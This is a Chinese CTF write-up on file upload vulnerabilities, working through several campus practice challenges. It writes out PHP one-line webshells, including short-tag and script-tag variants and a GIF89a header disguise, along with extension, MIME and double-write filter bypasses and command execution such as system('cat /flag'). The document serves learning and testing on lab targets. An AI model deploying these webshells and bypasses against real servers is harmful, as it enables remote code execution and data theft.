Web三漏洞学习(其一:文件上传漏洞)
靶场:云曦历年考核题
一、文件上传
在此之前先准备一个一句话木马

将其命名为muma.txt
23年秋期末考
来给师兄上个马
打开环境以后直接上传muma.txt,出现js弹窗,说明有前端验证

提示只能上传.png .jpg 和 .gif文件,那就把muma.txt的后缀改一下,改为允许的

然后直接上传看看

很明显,这个路径是不可用的,既然直接传是不行的,那就抓包看一下MIME类型

MIME类型没问题,但既然通过了前端验证那就需要改一下filename为可执行的php了

然后放行
结果提示后缀不允许

说明后端对php后缀也进行了过滤,然后尝试更改等价扩展名(phtml)

提示上传成功

但好像还是不可用的路径
拼接上去后的确找不到

改一下还是找不到,就说明的确没绕过
黑盒测试的麻烦之处就在于有很多东西是未知的,需要一步步尝试
接下来试试大小写能不能绕过


也不可以,然后我又试了Apach解析漏洞的添加不合法(不认识)后缀名 .php.xxx 也不行
然后想到.htaccess文件
内容如下

先上传试试
哎呀忘了它说只能上传那三种文件

只能返回去看题目提示

js绕过了,MIME类型也不用改,因为后缀就是.jpg,那后缀再好好看看...
但是,似乎好像是我想多了,虽然路径显示的不正确,但把xxx改为我木马存的名字(muma.php),然后打开蚁剑连接木马存放的路径竟然连上了

看来真是想麻烦了
接下来添加数据搜寻flag即可
这里打开看到我之前的木马其实是上传成功了的

找到flag


23年春季开学考
easy_upload
这上传界面还挺好看的

然后随便上传一个muma.php文件,显示错误

然后把后缀改为.jpg发现可以上传

但由于jpg文件无法让一句话木马执行,所以需要抓包改一下

抓包上传

改后缀为可解析木马的php

得到路径

拼接url访问

是空白页就对了,说明一句话木马上传成功的同时也被解析了
不放心的话利用上传的木马参数(我的是a)执行一下php语句试试

执行成功,接下来直接连接蚁剑

连接成功,保存查找flag
相对于其他题目,这个flag又隐藏得没那么明显

24年秋季开学考
文件上传
这侧脸我能猜出是哪位师兄

老套路,先上传muma.php测试一下,结果提示非法文件

嗯?这是神马意思
英语不好,翻译一下

本来只是想查一下这个单词的意思的,结果直接告诉我我的问题了。
那这样的话其实和之前遇到的后端检测到上传的文件内含有php代码是一个意思,和它告诉我的一样,之前我也是把php语言的一句话木马伪造成Javascript语言,让其识别不出php语言
具体是这样构造的
<script language='php'>@eval($_POST['a']);</script>
就是把php代码的一句话木马嵌入Javascript代码来理解
然后把代码保存为js.jpg上传即可(刚测试过jpg文件可以上传)
但有时候光这个是不够的,还需要另一个伪装,就是在前面加上伪装成图片头的格式
如 GIF89a,但这题不需要,我们可以直接上传
上传后得到文件路径

接下来就老套路了吧
拼接url访问

啥?诈骗???怎么又来一个
先拿蚁剑连连看

的确没连上
没办法 返回去题目发现一个附件,下载并解压

得到好像是关于这个题的源代码
一个个打开看了以后发现好像就index.php可用,注意到这几行代码

看到了上传白名单,又往下注意到md5那几行
上网查了一下

也就是说我原本上传的文件路径被替换为另一个路径,还将我的文件名进行了md5加密,这会不会就是找不到图片路径的原因
不过我突然意识到什么
不是,,我都没抓包改后缀,jpg怎么解析???
fou了
抓包

改php
很显然,php是禁止文件,直接改那么简单怎么可能,结果当然是显示非法文件
那就还是需要把目光放到源代码上,既然给我们了就不是摆设
注意到这段代码

可以看到允许上传的白名单后缀 ,继续往下,$tmp_name和$file_name以及$temp $extension
四个函数,最后是给了合法的MIME类型。
那四个函数的作用我也不懂,上网查了一下

然后最重要的这两个函数

这题的突破口就在这里了
既然explode函数会将文件名按 . 分为左右两个元素,又组合成一个数组$temp, 紧接着end函数把数组中的最后一个元素获取当做文件的拓展名,芜湖~~
这样一来,如果我把后缀名改为多个.分割的,其中含有.php,但最后一个保持为.jpg,然后MIME类型也是合法的也就可以绕过了

改

虽然得到了路径,但还是有点长

按理来说,上传的文件会被存储为js.php.jpg 访问该文件时,如果服务器配置不当,就会把js.php.jpg文件解析为PHP文件并执行其中代码(思路是这样的)
但访问后还是同样的页面

蚁剑自然也连不上 ,因为都没解析 这种情况其实主要取决于服务器的配置。如果服务器正确配置了文件解析规则,例如只解析以.php结尾的文件,那么这种方法自然不会成功
这题暂时没研究清楚,先下一题
24年秋期末考
ez_upload 1
直接上传muma.txt文件虽然提示上传成功,但问只能上传.txt文件吗

先不管其他的可不可以,既然这个可以就先让它解析
抓包重新上传

修改后缀名

然后显示文件上传成功,可以用蚁剑

奇怪的是尝试拼接了两次都显示not found,第三次才显示空白页

php语句能执行,连蚁剑

get flag

ez_upload 2
让换个好看的背景图片

那就随便上传张图片试试
上传成功,此时问只能上传.jpg文件吗

应该是提示jpg图片可以上传的意思。那就再试试一句话木马muma.txt试试

结果发现上传以后又返回原来的界面了
既然是黑盒测试就不用管它,直接抓包上传试试

改后缀可执行php,改MIME类型为刚发现可以上传的image/jpeg

上传成功,得到路径

在拼接路径的时候一定要小心,仔细一些,看我这里就因为uploads前面多了个空格就not found找不到了

删去,见空白页

php语句可执行,连蚁剑

get flag
因为这次的考核主要针对24级新生,所以这两题文件上传漏洞题比较简单
不是,等一下,flag不正确??

那就还需要再找一下了
完喽,我环境都关了 ,,算了,再做一遍
哦豁,重新做了一遍但这遍的flag到这一步提交是正确的

我也不清楚什么原因,应该是刚刚的环境出了点问题
24春开学考
这都不做?
上来就上传了一个muma.txt文件,提示禁止

翻译一下

也就是说MIME类型被检测了,而提示只有jpg图像的MIME类型允许上传
那就抓包改一下

后缀名、MIME类型都改一下放行

芜湖,php代码也被发现了

那就不得不用上上面做好的js伪装代码了(刚写过把一句话木马的php代码嵌入Javascript标签里,伪造成js代码绕过过滤)
拿出刚准备好的 js.txt文件

抓包上传

额,这个也隐藏不了
最后经过多次尝试,发现了其中一种方法:
php短标签
这里就要了解到一个知识点:
在PHP中,短标签(short tag)是一种简写形式的PHP标签。标准的PHP标签是<?php和?>,
而短标签则<?和?>。短标签的使用可以让PHP代码简洁,但它需要在php.ini配置文件中通过short\_open\_tag选项被明确的启用。(但不是所有的服务器都启用了短标签,依赖短标签的代码可能在某些环境中无法正常运行,因此使用短标签可能会导致可移植性问题。)
在文件上传漏洞中,“短标签绕过”通常指攻击者利用目标服务器开启对PHP短标签的支持这一特点,通过上传包含短标签的恶意PHP代码来执行远程代码。
这是因为服务器可能仅仅检查文件是否包含标准的PHP开头标签(<?php),而忽略了短标签。
如当文件上传过滤器只检查是否存在<?php标签来决定文件是否包含PHP代码,那么攻击者可以利用这个漏洞通过上传包含<?开头的PHP代码来绕过过滤器
例如,一个简单的一句话木马PHP脚本标准的PHP标签可能是这样的
<?php @eval($_POST['a']);?>
但如果服务器开启了短标签支持,攻击者可以利用短标签绕过:
<?= eval($_POST['a']);?>
或者更隐蔽的短标签:
<?=shell\_exec($_POST['a'])?>
这里的<?=是另一种形式的短标签,用于输出,但它在PHP5.4.0及更高版本中默认开启,不受short\_open\_tag配置选项的影响。
综上新建一个短标签文档,命名为duanbiaoqian.txt

填入的内容如图

最后还需要在一句话木马内容的前面加上GIF89a,这是GIF文件(图片)的标识,可以做到更好的隐藏。
而且验证一句话木马上传是否成功的一般方法为直接访问上传的一句话木马文件,上传成功服务器就会执行我们上传的脚本,由于GIF89a是一个标识,不会被执行,访问文件时就会正常显示在页面上,这样也方便我们自查一句话木马上传是否成功(这和之前构造的构造Javascript代码来伪装一句话提到的也是一样的)

其次是针对文件后缀名的
服务器会将上传的文件后缀注释掉,只要不是.php结尾文件自然不会被服务器当做php代码执行
所以这里需要将php双写,在.php中间再加一个php,即.pphphp (服务器会注释中间的php,还剩.php 导致短标签一句话木马可以被服务器执行)

然后显示上传成功,但让我猜路径

可以看到,处理文件上传的php脚本为upload.php,所以可以猜测存放上传文件的路径为/upload文件夹
那就拼接一下原url/upload/duanbioaqian.php(短标签木马的文件名)
额访问后not found,仔细看才发现原来的文件名就写错了(写成duanbaioqina.php)难怪访问不到

那就按这个文件名访问(upload/duanbiaoqina.php)
后面试了几次还是访问不到,那就重新传一次吧

这次先把木马名改简单一点

重新上传

拼接路径

看到了吧,木马已被服务器执行而只显示标识符GIF89a

php语言可执行
接下来找flag即可
其实有两种方法,一种就是之前的蚁剑连接直接在图形化的目录下找;
另一种就是利用浏览器插件Hackbar命令执行
第一种和前面一样,连接蚁剑

然后直接找flag目录
这里upload目录下还能看到刚上传成功但没访问到的文件

然后点开看才知道访问不到的原因是木马写错了(没加= , 标准的是<?= eval($_POST['a']);?>)

所以说不能大意吧
找到flag

第二种利用Hackbar
删掉刚刚的phpinfo(); 语句,执行 a=system('ls'); (这个命令意为 列出当前目录下所有文件。)

然后有看到刚上传上去的所有文件(有点多,有点影响,早知道把靶场关了重新开再上传)
不过没关系,我们要的是flag,肯定不可能在upload文件目录下
那么直接查看根目录: a=system('ls /');

看到了吧,所有目录都在下面了
直接锁定flag目录
接下来cat flag 即可: a=system('cat /flag);
得到flag

当然,执行命令这种方法只适用于flag位于比较显眼的目录或者好找一点的目录,随便找一下就能cat到的,如果flag在一个特殊的,难找一点的目录用这种方法就比较费时间精力了
相关文章:
Web三漏洞学习(其一:文件上传漏洞)
靶场:云曦历年考核题 一、文件上传 在此之前先准备一个一句话木马 将其命名为muma.txt 23年秋期末考 来给师兄上个马 打开环境以后直接上传muma.txt,出现js弹窗,说明有前端验证 提示只能上传.png .jpg 和 .gif文件,那就把muma.txt的后缀…...
37-串联所有单词的子串
给定一个字符串 s 和一个字符串数组 words。 words 中所有字符串 长度相同。 s 中的 串联子串 是指一个包含 words 中所有字符串以任意顺序排列连接起来的子串。 例如,如果 words ["ab","cd","ef"], 那么 "abcdef…...
ShardingSphere复合分片之hash槽算法
前言 上一篇《ShardingSphere复合分片》中有详细介绍多key多value的复合分片算法应该如何设计,在大部分情况下该算法是没有问题的,但是一旦涉及到数据迁移时,该算法的缺点就暴露无疑了。 为满足日益增长的用户或者订单的需求,在分…...
Web三漏洞学习(其二:sql注入)
靶场:NSSCTF 、云曦历年考核题 二、sql注入 NSSCTF 【SWPUCTF 2021 新生赛】easy_sql 这题虽然之前做过,但为了学习sql,整理一下就再写一次 打开以后是杰哥的界面 注意到html网页标题的名称是 “参数是wllm” 那就传参数值试一试 首先判…...
KrillinAI:视频跨语言传播的一站式AI解决方案
引言 在全球内容创作领域,跨语言传播一直是内容创作者面临的巨大挑战。传统的视频本地化流程繁琐,涉及多个环节和工具,不仅耗时耗力,还常常面临质量不稳定的问题。随着大语言模型(LLM)技术的迅猛发展,一款名为Krillin…...
gravity`(控制 View 内部内容的对齐方式)
文章目录 **1. 常用取值****示例** **2. layout_gravity(控制 View 在父容器中的对齐方式)****常用取值****示例** **3. gravity vs layout_gravity 对比****4. 注意事项****5. 总结** 作用对象:当前 View 的内部内容(如 TextView…...
gitdiagram源码架构分析
https://github.com/ahmedkhaleel2004/gitdiagram 整体架构分析 前端请求入口: 后端对应接口: 后端调试 后端调试:会提示api_key失败的问题: 有两种方法解决: 1、注释掉下面的行代码; 方法二࿱…...
蓝光三维扫描:汽车冲压模具与钣金件全尺寸检测的精准解决方案
随着汽车市场竞争日趋激烈,新车型开发周期缩短,安全性能要求提高,车身结构愈加复杂。白车身由多达上百个具有复杂空间型面的钣金件,通过一系列工装装配、焊接而成。 钣金件尺寸精度是白车身装配精度的基础。采用新拓三维XTOM蓝光…...
《分布式软总线:网络抖动下的数据传输“定海神针”》
在当下,智能设备之间的互联互通已成为生活与工作的刚需。分布式软总线作为实现这一愿景的关键技术,正日益凸显其重要性。然而,网络环境的复杂性,尤其是网络抖动频繁的情况,给分布式软总线的数据传输带来了严峻挑战。如…...
WPS JS宏编程教程(从基础到进阶)-- 第八部分:字符串技术与WPS结合应用
目录 第8章 字符串技术与WPS结合应用8-1 字符串的3种引用方式场景:动态生成报表标题三种引用方式对比代码解析表模板字符串核心优势8-2 字符串处理之切片与搜索场景:提取身份证中的出生年份三大截取方法对比方法选择指南索引搜索实战8-3 字符串处理之修改与填充场景:规范商品…...
C++实用函数:bind
本篇来介绍了C++中bind功能。 1 std::bind 在 C++ 里,std::bind 是一个函数模板,其作用是创建一个可调用对象,该对象可绑定到一组参数上。std::bind 的函数原型如下: template< class F, class... Args > /*unspecified*/ bind( F&& f, Args&&...…...
深度学习占用大量内存空间解决办法
应该是缓存的问题,关机重启内存多了10G,暂时没找到别的方法 重启前 关机重启后...
完全无网络环境的 openEuler 系统离线安装 ClamAV 的详细步骤
准备工作(在外网机器操作) 1. 下载 ClamAV RPM 包及依赖 mkdir -p ~/clamav-offline/packages cd ~/clamav-offline/packages# 使用 yumdownloader 下载所有依赖包(需提前安装 yum-utils) sudo dnf install yum-utils -y sudo y…...
Matlab绘制函数方程图形
Matlab绘制函数方程图形: 多项式计算: polyval 函数 Values of Polynomials: polyval ( ) 绘制方程式图形: 代码如下: >> a[9,-5,3,7]; x-2:0.01:5; fpolyval(a,x); plot(x,f,LineWidth,2); xlabel(x); ylabel(f(x))…...
Unity UI 从零到精通 (第30天): Canvas、布局与C#交互实战
Langchain系列文章目录 01-玩转LangChain:从模型调用到Prompt模板与输出解析的完整指南 02-玩转 LangChain Memory 模块:四种记忆类型详解及应用场景全覆盖 03-全面掌握 LangChain:从核心链条构建到动态任务分配的实战指南 04-玩转 LangChai…...
在AMGX中使用MPI加载自定义分布式矩阵和向量
在AMGX中使用MPI加载自定义分布式矩阵和向量 AMGX是一个用于大规模并行代数多重网格求解的GPU加速库,支持MPI多线程环境。以下是加载用户自定义分布式矩阵和向量的方法: 1. 矩阵和向量分布的基本概念 在MPI环境中,AMGX使用行分布方式&…...
电视盒子 刷armbian
参考 中兴电视盒子中兴B860AV3.2-M刷Armbian新手级教程-CSDN博客 1.刷安卓9 带root版本 a. 下载安卓线刷包 链接:https://pan.baidu.com/s/1hz87_ld2lJea0gYjeoHQ8A?pwdd7as 提取码:d7as b.拆机短接 3.安装usbburning工具 使用方法 ,…...
AI应用开发之扣子第一课-夸夸机器人
首先,进入官网:点击跳转至扣子。 1.创建智能体 登录进网站后,点击左上角+图标,创建智能体,输入智能体名称、功能介绍 2.输入智能体提示词 在“人设与回复逻辑”输入以下内容: # 角色 你是一…...
【计算机网络实践】(十二)大学校园网综合项目设计
本系列包含: (一)以太网帧分析与网际互联协议报文结构分析 (二)地址解析协议分析与传输控制协议特性分析 (三)交换机的基本操作、配置、 虚拟局域网配置和应用 (四)交…...
uniapp小程序位置授权弹框与隐私协议耦合(合而为一)(只在真机上有用,模拟器会分开弹 )
注意: 只在真机上有用,模拟器会分开弹 效果图: 模拟器效果图(授权框跟隐私政策会分开弹,先弹隐私政策,同意再弹授权弹框): manifest-template.json配置( "__usePr…...
【星闪模组开发板WS8204SLEBLEModule】星闪数据收发测试
目录 开发板简介 串口设置 主从模式设置 AT命令数据发送 透传模式数据发送 结语 本文首发于《电子产品世界》论坛:【星闪模组开发板WS8204SLE&BLEModule】星闪数据收发测试-电子产品世界论坛https://forum.eepw.com.cn/thread/392011/1 感谢eepw论坛和成…...
天梯赛L1-22-25
L1-022 奇偶分家 题目描述 给定 N 个正整数,统计其中奇数和偶数各有多少个。 输入格式 第一行:一个正整数 N(≤1000)。第二行:N 个非负整数,以空格分隔。 输出格式 在一行中输出奇数的个数和偶数的个…...
基础知识:Dify 错误排查
Case1:Dify 卡在管理员界面 查看容器状态 docker compose ps 可以看到有个容器异常:docker_db_1 的状态是 Restarting(表示一直在重启) 解决方案 参考:https://github.com/langgenius/dify/issues/5731...
spring cloud微服务断路器详解及主流断路器框架对比
微服务断路器详解 1. 核心概念 定义:断路器模式通过快速失败机制防止故障扩散,当服务调用出现异常或超时时,自动切换到降级逻辑,避免级联故障。核心功能: 熔断:在故障阈值(如错误率)…...
BufferedReader 终极解析与记忆指南
BufferedReader 终极解析与记忆指南 一、核心本质 BufferedReader 是 Java 提供的缓冲字符输入流,继承自 Reader,通过内存缓冲和行读取功能极大提升文本读取效率。 核心特性速查表 特性说明继承链Reader → BufferedReader缓冲机制默认 8KB 字符缓冲…...
linux-设置每次ssh登录服务器的时候提醒多久需要修改密码
在 Linux 系统中,你可以通过设置 motd(Message of the Day)或 sshd 配置来在用户通过 SSH 登录时提醒他们密码即将过期。以下是具体步骤: 方法 1: 使用 motd 文件 motd 文件在用户登录时显示,你可以通过脚本动态生成内容,提醒用户密码过期时间。 编辑 /etc/motd 文件:…...
(小白0基础) 微调deepseek-8b模型参数详解以及全流程——训练篇
本篇参考bilibili如何在本地微调DeepSeek-R1-8b模型_哔哩哔哩_bilibili 上篇:(小白0基础) 租用AutoDL服务器进行deepseek-8b模型微调全流程(Xshell,XFTP) —— 准备篇 初始变量 max_seq_length 2048 dtype None load_in_4bit True单批次最大处理模型大小dy…...
调用LLM的api
目录 chatgptdemo可选模型 chatgpt demo import openai openai.api_key xxxxxxxxx # 自己的api key openai.api_base https://api.feidaapi.com/v1 # 中转非直连 # response openai.ChatCompletion.create( # model"gpt-4o", # messages[ # {"rol…...
关于汽车辅助驾驶不同等级、技术对比、传感器差异及未来发展方向的详细分析
以下是关于汽车辅助驾驶不同等级、技术对比、传感器差异及未来发展方向的详细分析: 一、汽车辅助驾驶等级详解 根据SAE(国际自动机工程师学会)的标准,自动驾驶分为 L0到L5 六个等级: 1. L0(无自动化&…...
windows安卓子系统wsa隐藏应用列表的安装激活使用
Windows 11 安卓子系统应用部署全攻略 windows安卓子系统wsa隐藏应用列表的安装激活使用|过检测核心前端 在 Windows 11 系统中,安卓子系统为用户带来了在电脑上运行安卓应用的便利。经过一系列的操作,我们已经完成了 Windows 11 安卓子系统的底层和前端…...
